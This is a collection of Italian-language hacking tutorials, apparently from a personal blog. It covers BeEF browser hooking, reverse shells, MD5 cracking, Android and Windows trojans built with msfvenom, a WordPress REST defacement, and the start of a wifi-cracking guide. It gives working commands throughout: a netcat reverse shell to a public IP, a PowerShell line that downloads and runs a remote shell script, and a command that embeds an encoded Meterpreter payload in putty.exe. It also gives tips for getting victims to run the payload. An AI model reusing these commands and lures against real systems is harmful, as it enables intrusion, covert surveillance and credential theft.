Nicholas Giordano

Cloud Arch. & Full Stack Developer

BeEF: Browser Exploitation Framework

Di cosa stiamo parlando?

BeEF è l’abbreviazione di The Browser Exploitation Framework. È uno strumento di test di penetrazione che si concentra sui web browser (chrome, firefox, ecc.).

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

In parole povere è un software che ci permette di “attaccare” un client utilizzando come unico vettore il browser web del client stesso.

Struttura di base dell’attacco:

  1. Creo una sessione di BeEF su una macchina ad ip statico connessa alla rete web globale
  2. Infetto il client tramite sito web contenente codice malevolo/invio un link manevolo
  3. Controllo la macchina client infettata tramite del codice js incapsulato nel punto 2

Utilizzando come vettore un web browser, questo attacco funziona su qualsiasi dispositivo dotato di web browser (smartphone compresi!)

Portare avanti l’attacco:

E’ fondamentale aver installato BeEF su una macchina remota, ad ip statico e che sia raggiungibile dal client, questa macchina si occuperà di propagare l’infezione sul client incapsulando codice malevolo all’interno di una pagina web infettata o di un sito malevolo creato ad hoc. Una volta fatto ciò tramite la GUI di BeEF sarà possibile visionare un elenco dei client (browser web) infettati e sarà possibile controllarli o ottenerne dati/informazioni in vari modi.

Creazione della macchina BeEF:

Possiamo hostare BeEF ovunque, per comodità utilizzeremo un server linux in cloud, per garantirci di avere un ip statico ed una macchina connessa ad internet. Possiamo farlo (a scopo di test) utilizzando und droplet basata su ubuntu all’interno di digitalocean (o qualsiasi altro provider) seguendo la guida ufficiale per ubuntu, oppure caricandola come container docker all’interno di un qualsiasi host in cui docker sia in esecuzione. In maniera alternativa, se vogliamo un’ installazione rapida e del tutto guidata, possiamo utilizzare lo script di installazione presente nella repository GitHub ufficiale.

Per prima cosa dobbiamo collegarci alla macchina remota su cui vogliamo installare BeEF:

$ ssh [email protected]

Potremo poi procedere a scaricare il sorgente di BeEF tramite git:

$ git clone https://github.com/beefproject/beef.git
$ cd beef

Una volta fatto ciò potremo lanciare l’installer, per avviare la procedura guidata di installazione, per farlo, una volta dentro la cartella della repository ci basta fare

$ ./install

Una volta terminata l’installazione è obbligatorio configurare delle credenziali per accedere al pannello di controllo di BeEF (per farlo basta modificare il file config.yaml presente nella cartella in cui stiamo operando) e possiamo quindi procedere a lanciare il software con il comando ./beef. Se tutto è andato a buon fine possiamo ora aprire un qualsiasi browser e accedere al pannello di controllo di BeEF recandoci su http://IP-Macchina-Remota:3000/ui/panel dove sarà possibile fare l’autenticazione ed iniziare ad usare il software.

schermata principale di BeEF dopo il primo login

Attaccare (attaccarsi) ad un web browser

Una volta installato beef possiamo procedere ad infettare un client, ci sono modi avanzati di creare url che siano credibili, o è possibile inserire del codice malevolo in qualsiasi pagina web. Di default BeEF ci mette a disposizione due modelli pronti per effettuare il test, come riportato nella schermata principale. Abbiamo due url che permettono di effettuare l’attacco:

  • http://IP-Macchina-Remota:3000/demos/basic.html
  • http://IP-Macchina-Remota:3000/demos/butcher/index.html

Per effettuare un test basta uno qualsiasi di questi url di prova, la differenza tra i due è che il secondo ha le sembianze di un sito web più “reale”.

Per portare avanti l’attacco non ci resta che inviare quindi uno di questi due link al client remoto, che dovrà unicamente aprirli con il proprio browser.

Una volta che il client avrà aperto il link inviato questo risulterà all’interno del nostro pannello di controllo:

client “vittima” connesso

Una volta che uno o più client hanno cliccato sul link, ci basterà cliccare sul nome del client per vedere una vasta serie di dettagli o per eseguire un qualsiasi comando utilizzando l’opzione “commands”

schermata comandi per client remoto

Le cose che possiamo fare sono tante, non tutte sono compatibili con tutti i client, ma sicuramente tutte le funzioni a disposizione permettono di effettuare un test di sicurezza molto robusto, utilizzando come vettore il software più usato di tutti (il “web browser”).

Questa tipologia di attacco è particolarmente interessante e “preoccupante”, paradossalmente mentre leggete questa pagina potrebbe essere in esecuzioni del codice js che ha appena “agganciato” il vostro browser ad una mia ipotetica sessione di BeEF. (Non vi preoccupate, non è così).

La domanda nasce spontanea: come ci si difende? La risposta a questa domanda non è facile, potremmo ispezionare ogni singola pagina web alla ricerca di script malevoli, ma sarebbe una ricerca realisticamente infruttuosa. La cosa migliore che conviene fare è non aprire url sospetti e in linea generale prestare grande attenzione a quando si naviga sul web o si accede a siti particolari.

😀

Reverse shell

Cosa si intende per reverse shell? Solitamente, per ottenere il controllo di un sistema compromesso, un attaccante punta ad ottenere accesso ad una shell per poter eseguire comandi arbitrari e poter operare direttamente su un sistema.

Immaginando una situazione in cui il sistema attaccato è un server remoto, l’utente attaccante si comporta come client mentre la macchina oggetto dell’attacco è il server remoto. Con il reverse shell i ruoli sono invece invertiti: è la macchina oggetto dell’attacco che avvia la connessione con l’utente remoto, che semplicemente resta in attesa di questa connessione su specifiche porte.

L’attacco mediante reverse shell è molto comune per come i firewall sono solitamente configurati sui server: raramente un firewall permetterà accesso diretto ad una shell da un indirizzo sconosciuto, e le uniche porte ampiamente aperte a tutta la rete saranno con buona probabilità la porta 80 (HTTP) e la 443 (HTTPS). Al contrario delle porte in entrata, i firewall non limitano solitamente le connessioni in uscita dal server, ciò potrebbe permettere ad un attaccante di stabilire una connessione tra un suo server (preferibilmente con un ip pubblico da cui sia possibile fare routing se l’obiettivo è una macchina remota) e la macchina oggetto dell’attacco mediante l’utilizzo di tool come netcat, facendo partire la connessione dalla macchina remota (eliminando le restrizioni delle regole in ingresso imposte dal firewall) e restando semplicemente in attesa di quella connessione.

Per dimostrare quanto detto sopra, ipotizzeremo di attaccare due macchine presenti sulla nostra rete locale, che nel nostro caso saranno due VM: Windows10 e KaliLinux. Per dimostrare l’efficacia dell’attacco useremo invece una macchina all’esterno della nostra rete che può essere una vps, un’ istanza EC2 in AWS, una macchina virtuale su Azure o una droplet su Digital Ocean (nel nostro caso useremo l’ultima opzione). Se non abbiamo la possibilità di creare macchine virtuali sulla nostra rete locale ovviamente nulla ci vieta di effettuare una prova di attacco su un pc fisico o sul nostro stesso sistema.

Setup della macchina “attaccante” (colei che sarà in attesa delle connessioni)

Per prima cosa dobbiamo configurare una macchina linux remota dove più preferiamo, nel nostro caso utilizzeremo DigitalOcean. Se non avete un account su digitalocean potete utilizzare il link che segue per crearne uno, ottenere 100$ di credito gratuito per 60 giorni e fare tutte le prove che volete: https://m.do.co/c/42e75dfe7047 (magari per creare anche un sito web o altro).

Una volta effettuato accesso su digitalocean di basterà creare una nuova droplet come da immagine che segue

creazione droplet (macchina virtuale)

Sarà poi possibile scegliere la tipologia di droplet (vm) da creare, nel nostro caso una versione base di ubuntu18 con tutte le impostazioni al minimo va bene. E’ molto importante in questo passaggio ricordare la password/modalità di accesso scelta per la creazione della nostra droplet.

Se non sappiamo come creare una droplet possiamo fare riferimento al seguente video:

Una volta che la nostra droplet è stata creata con successo ci basta cliccarci sopra per visualizzare il suo indirizzo IP, che dovremo copiare e salvarci. Questo indirizzo ci servirà per connetterci e configurare la macchina remota e sarà utilizzando anche dai sistemi attaccati: sarà infatti l’indirizzo a cui questi si collegheranno.

IP della droplet

Una volta che abbiamo creato la nostra macchina remota basterà connetterci tramite ssh e iniziare la configurazione (su windows è possibile utilizzare il client Putty).

Apriamo un terminale e scriviamo ssh [email protected]_MACCHINA che nel nostro caso sarà ssh [email protected] , ci verrà a questo punto chiesta la password (scelta in fase di creazione della macchina remota); una volta inserita saremo collegati alla macchina. Netcat è installato di default su tutte le macchine linux, non c’è nulla da installare quindi; dobbiamo però avviare il processo di “ascolto” sulla macchina remota, che proprio come dice la parola stessa resterà in ascolto di connessioni provenienti dalle macchine attaccate.

Per mettere netcat in ascolto digitiamo sul terminale remoto a cui siamo connessi tramite ssh il comando nc -lnvp PORTA -s IP che nel nostro caso sarà nc -lnvp 87 -s 165.227.135.79.

I parametri hanno il seguente significato:

  • l = listen
  • n = no DNS (verrà utilizzato unicamente l’ip della macchina remota)
  • v = verbose
  • p = porta (la porta su cui saremo in ascolto)
  • s = specifica l’interfaccia di ascolto
esempio del sistema in ascolto

Connessione da macchina target Linux

Vediamo ora come stabilire una reverse shell da una macchina linux “vittima”. Nel nostro caso utilizzeremo una VM Kali Linux. Una volta avviata ci basta aprire il terminale e dare il comando nc -e /bin/bash INDIRIZZO_IP PORTA che nel nostro caso sarà nc -e /bin/bash 165.227.135.79 87. Dopo aver dato questo comando, se torniamo sulla nostra macchina remota noteremo che la shell segnala che effettivamente è stata ricevuta una connessione. Da questo momento, dalla nostra macchina remota, possiamo eseguire qualsiasi comando arbitrario sulla macchina vittima, ci basterà digitarli sulla shell della nostra macchina remota.

Esempio connessione ricevuta su macchina remota

Connessione da macchina target Windows

Al contrario dei sistemi Linux, su Windows netcat non è installato nativamente, possiamo certamente installarlo ma per quello che vogliamo provare a fare sarebbe molto più comodo poter utilizzare qualcosa presente di default sul sistema. Per fare ciò ci aiuta molto la presenza di Powershell sui sistemi Windows. Per fare questo utilizzeremo il repository git https://github.com/swisskyrepo/PayloadsAllTheThings che contiene una serie di script utili a questo scopo, nel nostro specifico caso useremo questo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows

Sulla macchina remota digitiamo stty raw -echo; (stty size; cat) | nc -lnvp PORTA -s IP che nel nostro caso sarà stty raw -echo; (stty size; cat) | nc -lnvp 87 -s 165.227.135.79. Fatto ciò la nostra macchina remota sarà di nuovo in ascolto e possiamo quindi ora passare alla macchina windows, aprire powershell e digitare IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell IP PORTA che nel nostro caso sarà IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 165.227.135.79 87. Un volta fatto ciò la macchina locale stabilirà una connessione con quella remota in ascolto e come per il caso precedente sarà per noi possibile eseguire comandi tramite shell della macchina remota.

E nella pratica?

Nella realtà dei fatti non avremo mai accesso diretto alle macchine “vittima” per lanciare i comandi visti in precedenza, il trucco è trovare il modo per far lanciare quei comandi alle macchine obiettivo. Può essere fatto in vari modi e utilizzando varie tecniche che non saranno approfondite in questo articolo che ha il solo scopo divulgativo.

Decrittare un hash MD5

In questo articolo andiamo a vedere come funzionano gli hash md5, che cosa sono e come è possibile risalire al loro contenuto originale. Vedremo quindi come Decrittare un hash MD5

Una funzione HASH è un algoritmo che ha il compito di mappare dei dati (testo ad esempio) in una stringa di dimensione fissa chiamata valore. Le funzioni hash sono funzioni di tipo unidirezionale, ciò significa che sono difficilmente invertibili e che è complicato ottenere i valori dell’input nel caso si abbia accesso unicamente all’output.

Tali funzioni vengono generalmente utilizzare per crittografare le nostre password di accesso. Un provider di servizi/sito web a cui siamo registrati non registra la password da noi scelta in fase di registrazione come testo in chiaro, bensì la cripta utilizzando una funzione di hash. Immaginiamo di aver scelto come password la stringa 1239fsd##O. Un ipotetico provider, ipotizzando che il provider utilizzi una funzione di hash md5, memorizzerà questa password sui suoi sistemi in un modo come questo: f1d594819bd1feaf562250336b6cf7ed. (link convertitore)

L’MD5 è un particolare tipo di funzione di hash, caratterizzata dall’unidirezionalità e dal fatto che una volta avvenuta la cifratura questa è irreversibile.

Abbiamo detto poco fa che la cifratura è irreversibile, ciò però non vuol dire che avendo il giusto tempo e gli strumenti giusti non sia possibile decrittarla. E’ infatti possibile effettuare un attacco di forza bruta, andando a generare password casuali (o con logica a dizionario) fino a trovare una password che una volta passata alla funzione hash corrisponda all’output che dobbiamo decifrare.

Esistono vari tipi di strumenti che ci permettono di svolgere un’operazione del genere, strumenti che permettono anche altre tipologie di bruteforcing. In questo caso vedremo come utilizzare John The Ripper, anche se per risultati più efficienti su password più complesse sarebbe il caso di utilizzare hashcat che ci permette di utilizzare le più potenti risorse di una GPU o di un cluster.

Per prima cosa andiamo ad installare john, da terminale su una derivata ubuntu possiamo digitare:

sudo apt install john

Una volta fatto ciò possiamo verificare la corretta installazione digitando il comando john ,se tutto è andato bene dovremmo vedere i dettagli di utilizzo del tool; bisogna prestare attenzione che la versione installata sia la versione jumbo.

Esempio output del comando john su kali linux, in rosso la versione utilizzata

Immaginiamo ora di voler decrittare un hash MD5, immaginiamo che sia fa7f68fe17fd2e04e80e5b6d81508b2f.

Per andarlo a decodificare, insieme magari ad altri hash, ci basterà piazzarlo in un file di testo. Possiamo farlo da terminare in questo modo:

echo "fa7f68fe17fd2e04e80e5b6d81508b2f" > miohash

Una volta creato il file, sempre da terminale, ci basterà lanciare il seguente comando:

john --format=raw-md5 miohash

Una volta che diamo invio john parte, e proverà ad indovinare la password prima cercandola in una wordlist (nel caso la avessimo) e poi iniziando a eseguire un bruteforce cercando di indovinare la password. Appena terminato avremo il risultato, in un modo che segue

Risultato esecuzione john, in rosso l’hash decodificato

Nel nostro caso il risultato è stato quasi immediato, questo non vuol dire che john the ripper sia un tool micidiale, ma semplicemente che l’hash che stavamo cercando di decrittare era parecchio semplice, nel nostro caso l’origine dell’hash era letteralmente “facile”.

Ovviamente nel caso l’input fosse stato di natura più complessa ci sarebbero volute ore, anni, secoli o più per ottenere questo risultato utilizzando il semplice bruteforcing.

Questo ci fa riflettere: non basta che una nostra password sia codificata per essere al sicuro, deve comunque essere una password dignitosamente robusta!

🙂

Creare Trojan per android

In questo articolo andiamo a vedere come creare un trojan per android. Andremo ad utilizzare gli stessi tool utilizzati nell’articolo precedente in cui andavamo a fare la stessa operazione con windows, solo che questa volta, per variare e per avere un panorama più ampio, invece della console di Metasploit msfconsole andreamo a gestire il nostro attacco ad uno o più host utilizzano un’interfaccia grafica chiamata Armitage.

Possiamo utilizzare questa interfaccia per gestire molo più comodamente un qualsiasi tipo di attacco trasmesso tramite un vettore trojan iniettato dentro un programma di natura benevola o dentro un trojan realizzato ad hoc.

In questa guida andremo a vedere la seconda ipotesi: creeremo quindi un’apk android il cui unico scopo sia quello di garantirci accesso al dispositivo vittima, in futuro vedremo anche come iniettare il nostro trojan in applicazioni benevoli per rendere il nostro attacco un filo più piccante.

Tool necessari: li troviamo tutti in kali linux

Iniziamo con la creazione del trojan, apriamo la console e digitiamo

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R > app.apk

Come visto in precedenza alla voce LPORT LHOST andiamo ad inserire rispettivamente una porta libera da noi scelta e l’indirizzo IP (remoto o locale della macchina attaccante)

Una volta fatto ciò troveremo nella cartella in cui ci troviamo un file denominato app.apk che contiene il nostro trojan, il passaggio successivo è quello di andare a firmare digitalmente l’applicazione android (per motivi di sicurezza senza una valida firma potrebbe non essere possibile installarla). Lo andiamo a fare digitando da terminale

d2j-apk-sign app.apk

Fatto ciò comparirà un nuovo file denominato app-signed.apk. E’ proprio questo il file che dobbiamo andare ad inviare alla nostra vittima.

Volendo, ma lo vedremo in un secondo articolo, possiamo andare a modificare l’apk da noi creato per destare meno sospetti utilizzando apktool, contenuto sempre all’interno di kali linux.

Una volta creato il nostro trojan, prima che la vittima lo apra, dobbiamo creare un handler che sia pronto a gestire l’evetuale connessione della vittima. Possiamo fare ciò utilizzando Armitage. Immaginando che armitage sia correttamente installato, dopo aver avviato postgresql con il comando

service postgresql start

possiamo avviare armitage cercandolo tra le applicazioni nel finder o semplicemente scrivendo da console

armitage

Una volta avviato ci troviamo di fronte ad una schermata del genere:

Dal menù di sinistra andiamo alla voce payload->android->meterpreter e poi facciamo doppio click sulla voce reverse_tcp (che è il tipo di payload che stiamo utilizzando per questo trojan).

Ci si aprirà la seguente schermata in cui dobbiamo andare ad impostare l’ip della macchina attaccante (se quello già presente non fosse corretto) e la porta che abbiamo scelto nel momento in cui abbiamo creato il trojan.

Nel momento in cui clicchiamo su Lauch infice, si apre una nuova tab nella parte bassa della nostra schermata: siamo ufficialmente in ascolto e non ci resta che aspettare che la vittima apra l’apk malevolo.

Nel momento in cui uno o più dispositivi aprono il nostro apk li vedremo comparire nella nostra schermata di armitage in questo modo:

Possiamo considerarci ufficialmente in dialogo con il dispositivo attaccato nel momento in cui vediamo comparire i ‘fulmini’, ora possiamo digitare help nella console per vedere la lista di tutti i comandi o cliccare con il tasto destro sull’icona del dispositivo attaccato appena comparso per vedere tutte le possibilità di iterazioni.

Le cose che possiamo fare sono tante: registrazioni audio/video dalla webcam, stream diretto dalla webcam, avvio di applicazioni, visualizzare tutti i file, caricare file sul dispositivo remoto, inviare sms, geolocalizzare, scaricare chat, elenco contatti ed elenco chiamate del dispositivo.

 

PS: anche questa guida è fatta solamente a scopo informativo! 😀

Sui dispositivi di nuovissima generazione (galaxy s8 in su) è necessario utilizzare encoder o iniettare il trojan in un apk benevolo per evitare che il sistema ne riconosca la pericolosità (samsung ha adottato numerose misure di sicurezza di recente, cosa che purtroppo non si può dire per tutti i produttori di dispositivi)

 

 

Creare un Trojan per garantirci accesso remoto ad un sistema

In questa guida andiamo a vedere una tecnica molto interessante su come creare un trojan. Lo scopo è quello di garantirci l’accesso remoto ad un sistema, in questa guida prendiamo come ‘vittima’ una macchina con piattaforma windows, volendo però si può fare la stessa cosa per macchine con S.O. linux o osx.

Per fare ciò andremo a creare un trojan contenente un particolare payload che alla sua esecuzione ci andrà ad aprire una shell di controllo sulla macchina vittima.

Ci sono varie tecniche che permettono la generazione di un trojan di questo tipo:

  1. Possiamo creare un semplice trojan che si avvierà
  2. Possiamo andare ad infettare un programma legittimo che continuerà ad effettuare tutte le sue normali operazioni ma che al suo interno conterrà il payload che serve a noi per avere accesso remoto alla macchina.

Ovviamente l’opzione da tenere maggiormente in considerazione è la seconda poichè un utente vittima, anche totalmente inesperto potrebbe insospettirsi vendo un programma che avviato non faccia nulla, o in linea di massima sarà meno propenso ad avviare un programma che non conosce.

La scelta del programma da infettare è indifferente, in base al caso e in base alla vittima possiamo sceglierne uno o un altro: può essere il file di installazione di un programma (un setup qualsiasi) o un qualsiasi applicativo avviabile.

In un caso reale sarebbe abbastanza facile fornire al nostro utente vittima un file che a lui serve ma che contiene anche il nostro trojan, immaginiamo un ‘amico’ che ci chieda la crack di un programma o un collega che ci chieda l’ultima versione del programma di installazione della suite di office.

 

Per fare ciò utilizzeremo MSFVenom, un particolare tool del Metasploit Framework il cui compito è quello di generare payload.

Possiamo installare questo framework su una qualsiasi macchina linux, per comodità utilizzeremo una distribuzione basata su kali linux che contiene già al suo interno questo tool.

Per questioni di praticità faremo questo attacco in locale, nulla però ci vieta di installare il tool su un nostro server o su di un VPS e attaccare anche da remoto.

Cosa ci serve?

  1. IP della macchina attaccante (il trojan una volta in esecuzione avvierà un canale di comunicazione con questo indirizzo)
  2. Una porta di rete di nostra arbitraria scelta (useremo la porta 4445 che solitamente non è utilizzata da nessun applicativo preinstallato sulla macchina vittima windows)

 

Apriamo dunque il nostro terminale linux con il comando ifconfig possiamo facilmente andare ad ottenere il nostro ip (una serie di nostri ip, uno per ogni scheda di rete sia locale che remoto)

Nel mio caso che sono connesso ad internet sull’interfaccia wlan0 il mio ip locale sarà 192.168.1.3

Una volta ottenuto il nostro indirizzo non dobbiamo far altro che scegliere il programma in cui iniettare il nostro trojan, scegliamo putty, un’utility utilizzata da molti utenti windows per stabilire connessioni SSH (possiamo scegliere un qualsiasi programma).

Posizioniamo il programma vittima in una qualsiasi cartella e apriamola da terminale. Scriviamo poi da shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x nomeprogramma.exe -k LHOST=nostroip LPORT=portascelta -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o programmainfettato.exe

Al campo nomeprogramma.exe sostituiamo il nome del programma che vogliamo infettare, alla voce LHOST e LPORT inseriamo rispettivamente il nostro ip e la porta da noi scelta e alla voce programmainfetto.exe inseriamo il nome che vogliamo dare alla versione infettata del programma che abbiamo deciso di utilizzare come vettore del nostro trojan.

Nel mio caso sarà:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x putty.exe -k LHOST=192.168.1.3 LPORT=4445 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o putty2.exe

La schell ci comunicherà che tutto è andato a buon fine e che il programma infetto è stato creato con il nome di putty2.exe, nome che abbiamo scelto noi tramite l’opzione -o nel comando precedente.

Ora non resta altro da fare che attendere che la vittima apra il programma infetto, prima però dobbiamo configurare un handler che possa gestire la connessione che il trojan instaurerà tra la macchina vittima e la nostra. Sempre da shell avviamo:

  • Postgresql con il comando
service postrgresql start
  • msfconsole (che useremo per creare l’handler e attendere che la vittima apra il programma)
msfconsole

Una volta avviata ci troviamo di fronte alla seguente schermata

Nella console di Metasploit appena aperta (msfconsole) digitiamo

use exploit/multi/handler

Poi digitiamo

set PAYLOAD windows/meterpreter/reverse_tcp

poichè è quello il formato del payload scelto nella creazione del nostro trojan

Settiamo ora host e porta lanciando i due comandi

set LHOST nostro_ip
set LPORT porta_scelta

che nel mio caso saranno

set LHOST 192.168.168.1.3
set LPORT 4445

L’ultima cosa che ora ci resta da fare è mettere l’hadler in ascolto aspettando che la vittima apra il file utilizzando il comando run

Eseguite con successo tutte queste operazioni il risultato sarà il seguente:

Ora non resta altro che attendere (senza ovviamente chiudere la console) che la vittima apra il programma infettato.

Non appena la vittima avvierà il programma la console ce lo notificherà: SIAMO UFFICIALMENTE NEL PC VITTIMA REMOTO!

Possiamo ora fare qualsiasi cosa, possiamo usare questa shell come una shell normale (utilizzando il comando shell) o utilizzare particolari script per fare di tutto e di più. utilizzando il comando help possiamo vedere gli script preimpostati che variano dal più banale: cambia lo sfondo del desktop al registra audio/video da webcam/microfono.

Avendo accesso come se fosse una shell possiamo inoltre navigare in tutte le cartelle di sistema, accedere a file, cancellare file e qualsiasi cosa ci interessi fare. Oltre ai semplici comandi da shell ecco una lista delle cose più interessanti che metasploit ci mette a disposizione una volta instaurata una connessione:

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes


La seguente guida è stata fatta solo a scopo informativo 🙂 <3

Hackerare WordPress 4.7.0 – 1

In questa breve guida dimostrativa vediamo come sia possibile hackerare wordpress 4.7.0 -1. In particolar modo ci concentreremo su come “defacciare” parti del sito, articoli nel nostro caso. Per chi non lo sapesse, il gergo tecnico defacciare corrisponde a modificare il contenuto presente con qualcosa totalmente a nostra scelta.

Le versioni di wordpress 4.7.0 e 4.7.1 sono afflitte da un preoccupante baco in termini di sicurezza relativo alle chiama API che wordpress mette a disposizione, bug scoperto qualche giorno fa, che permette a chiunque, senza dover entrare nel pannello amministrativo, ma effettuando una semplice chiamata rest, di modificare in qualsiasi modo il contenuto di un qualsiasi articolo presente sul sistema.

Per testare questo bug, e attenzione: questa guida è a solo scopo informativo 😀 avremo bisogno di un software che ci permetta di effettuare chiamate rest. I più esperti possono utilizzare curl da riga di comando, per i meno esperti sono invece disponibili software come Postman (estensione per google chrome) oppure Rest (che l’ho recentemente scoperto proprio testando questo baco).

Non entrerò nel dettaglio di cosa sia una richiesta REST, vi basti sapere che per portare avanti questo attacco utilizzeremo il metodo POST.

Una richiesta HTTP di tipo REST non fa altro che trasmettere “valori”, in questo caso variabili tra cui quale articolo modificare e con cosa modificarlo, ad un endpoint che nel nostro caso sarà l’indirizzo del sito “vittima”.

In particolar modo invieremo una richiesta di tipo post alla seguente url per effettuare il nostro attacco:

http://sitodaattaccare.it/wp-json/wp/v2/posts/idpost

In grassetto le parti da modificare in base al nostro caso, ad esempio se volessi modificare (defaccciare) il testo dell’articolo con id 1 di questo mio sito dovrei effettuare una richiesta post al seguente url (non ci provate, questo sito è sicuro  😉 )

http://nicholasgiordano.it/wp-json/wp/v2/posts/1

Ora che abbiamo capito come costruire l’url alla quale mandare la richiesta di tipo post non resta altro che capire come inviare il contenuto che vogliamo sostituire all’articolo, per farlo dobbiamo utilizzare il campo “body” della richiesta, in base al programma che stiamo utilizzando per inviarla (come detto sopra) possiamo farlo in vari modi. La cosa importante è che sia un oggetto di tipo JSON (a breve esempio) formattato nel seguente modo:

Content-Type: application/json
{ 
"content": "Questo articolo è stato hackerato."
}

Va inoltre inserita una query nel corpo della richiesta del seguente tipo:

?id=idpostabc

Per farvi un’esempio più completo sotto trovate una schermata utilizzando il servizio menzionato ad inizio articolo insieme a postman:

Schermata in cui si può vedere il body:

Schermata in cui è possibile vedere la query:

Il risultato nel nostro caso è il seguente, siamo passati da questo articolo con questo testo:

A quest’altro:

Lascio a voi immaginare la pericolosità di una vulnerabilità del genere dunque!

Vuoi provare ad “esercitarti” per capire quanto hai capito di questa vulnerabilità? Utilizza come target demo.nicholasgiordano.it/testhack e divertiti! 😀

Detto questo, cosa fare per difendersi? Semplice! Aggiornare wordpress!

Craccare una rete wifi

Con questo articolo vedremo come è possibile craccare una rete wifi in modo da potervi accedere. Inutile ricordarvi che questa guida è a semplice scopo informativo/educativo. Possiamo utilizzarla per testare la sicurezza del nostro router in modo da migliorarla ed evitare l’accesso a terzi non autorizzati.
Per effettuare questa operazione utilizzeremo una distribuzione linux molto conosciuta chiamata “kali”, che presenta al suo interno una serie di tool molto comodi per effettuare test di varia natura sulla sicurezza.

Possiamo installare questo sistema sul nostro compuuter, utilizzare una sua live o utilizzarlo da macchina virtuale, il risultato e i procedimenti da eseguire non cambieranno.

La prima operazione che dobbiamo eseguire è quella di aprire un terminale di root, possiamo farlo aprendo un qualsiasi terminale e scrivendo

1
su root

a questo punto ci verrà chiesta una password, la inseriamo e premiamo invio.
Se non dovessimo sapere quale sia la password di root e abbiamo un utente con privileggi di amministratore possiamo digitare

1
sudo passwd root

a questo punto ci sarà chiesto di inserire una nuova password per l’utente di root. Una volta modificata facciamo nuovamente “su root”, inseriamo la nuova password e dovremmo quindi trovarci una shcermata di terminale in cui compare la seguente cosa:

pic1digitiamo ora il comando “cd” (senza virgolette ovviamente) per evitare di trovarci nella cartella sbagliata e poi il comando “clear “per ripulire la scermata corrente.
Una vaolta fatto ciò possiamo iniziare il nostro attacco! 😀
